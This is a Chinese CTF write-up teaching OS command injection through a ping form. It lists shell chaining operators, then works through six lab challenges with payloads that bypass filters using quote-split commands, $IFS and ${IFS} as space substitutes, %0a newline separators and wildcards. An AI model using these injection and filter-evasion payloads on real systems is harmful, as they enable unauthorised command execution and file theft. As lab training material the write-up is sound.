先了解一下命令注入的知识点:
知识点
1、常见的拼接符
- A ; B 先执行A,再执行B
- A & B 简单的拼接
- A | B 显示B的执行结果
- A&&B A执行成功之后才会执行B
- A || B A执行失败之后才会执行B
- , 在特殊情况下可代替空格
2、常见的命令
(1)、windows
1.type 显示文本文件内容
type x:\1.txt //显示x盘下的1.txt文件内容
type x:\1.txt | more //分页显示x盘里1.txt的内容
more 1.txt //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)2.dir 显示目录里的内容
dir //显示当前目录里的子文件夹和文件
dir /b //只显示当前目录子文件夹、文件的文件名
dir /p //分页显示当前目录子文件夹、文件
dir /ad //只显示当前目录中的文件夹
dir /a-d //显示当目里的文件
dir x:/a //显示x盘下a文件夹中的内容
dir 1.txt //显示当目下1.txt的信息
dir /s //递归显示当目中的内容 ctrl c终止当前命令
dir a* //显示当目下a开头的文件、文件夹信息
dir /ah /os //显示当目下隐藏的文件和目录,按文件大小从小到大排序
(2)linux
1、ls:列出目录
2、pwd:显示当前所在的目录
3、cat:由第一行开始查看文件
4、tac:由最后一行到第一行查看
5、more:逐项查看文件,按空格继续,最后自己退出
6、less:逐行查看文件,按方向键,不可主动退出,按q退出
7、head:只查看文件前十行
8、tail:只查看文件后十行
补充:
接下来是例题:
一.命令注入
打开题目,告诉我们是命令注入且无过滤
1.使用了ping命令,我们输入IP,进行ping;由于没有过滤,直接进行命令的拼接
直接查看根目录
127.0.0.1 | ls
在根目录中发现了两个文件,猜测在第一个里面
直接查看文件的内容:
127.0.0.1 | cat 260731822620001.php
但是发现没有回显,查看源代码试一试
发现源代码中藏有flag
二.过滤cat
1.其实这道题目和上一题的做法一样,只不过需要把命令中的cat给绕过
2.查看文件的命令不能是cat,对比上述知识点,也可以选择其他的查看文件的命令;(比如head)
127.0.0.1 | ls
先查看根目录
发现了flag文件,那么就直接访问这个flag文件
(1)使用head代替掉cat
127.0.0.1 | head flag_7157667214323.php
还是一样的没有回显,查看源代码
发现了flag
(2)绕过cat
使用单引号绕过
127.0.0.1; c''at flag_7157667214323.php |base64
发现了一串base64编码,解码即可
同样的可以得到flag
下面这两个和单引号绕过得到的结果一样,只是绕过的方式不同罢了
使用双引号绕过 :
127.0.0.1; c""at flag_7157667214323.php |base64
利用Shell 特殊变量绕过:
127.0.0.1; ca$@t flag_7157667214323.php |base64
三.过滤空格
其他步骤不变,空格被过滤,可以对空格进行代替,然后绕过。
<,<>,%20(space),%09(tab),$IFS$9,{IFS}
以上这些字符都可以代替空格
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。以下payload皆可绕过本题空格:
先看当前目录
127.0.0.1;ls
发现了flag文件,直接查看这个flag文件,但是要注意替换掉命令中的空格
127.0.0.1|cat<flag_136091577914436.php
又是什么都不显示,那么就直接查看源代码
发现了flag
其它的字符替换掉空格的做法就不再展示,和上面的一样的操作
四.过滤目录分隔符
法一:先查看根目录,发现有提示“flag_is_here”
根据提示,进去看一下:
127.0.0.1;ls flag_is_here
发现了flag文件
根据经验知道我们只要访问到php文件的内容就可以拿到flag了
思路:这里我们可以用&&运算符将命令连接起来就能成功拿到flag
127.0.0.1;cd flag_is_here&&cat flag_19900138617064.php|base64
法二:这题过滤了目录分割符,flag在/flag_here文件夹下面,因此不能直接读取,我们需要进行命令的拼接。
;cd flag_is_here;ls
这个命令分三步执行:
1、ping
2、进入flag_is_here文件夹
3、列举flag_is_here文件夹下的文件
发现了flag文件
同理,进行命令拼接,读取文件内容
;cd flag_is_here;cat flag_1619816943826.php
这个命令分三步执行:
1、ping
2、进入flag_is_here文件夹
3、读取文件夹下的flag.php
得到了flag
五.过滤运算符
进入题目发现过滤掉了“/(\||\&)/”这些字符,那么我们就不用这些运算符
127.0.0.1;ls
发现了flag文件
127.0.0.1;cat flag_24277163784460.php
同样的在源代码中发现了flag
六.综合过滤练习
看见源代码中给出了本题目过滤掉的字符,甚至把cat和flag, ctfhub同时过滤掉了
不过运算符";"可以用%0a
、%0d
、%0D%0A绕过
空格可以用${IFS}
cat可以用more,head
flag可以用f***
先执行命令127.0.0.1%0als
但是没有回显,查了一下得知:这里因为%0a是url编码,所以要输入到url中,否则会被二次编码
所以这道题目的每一条命令都要构造url的payload
?ip=127.0.0.1%0als
接下来查看flag_is_here
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
然后查看flag内容的base64编码
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_7287917426138.php
得到一串base64编码,进行解码
解码成功,得到了flag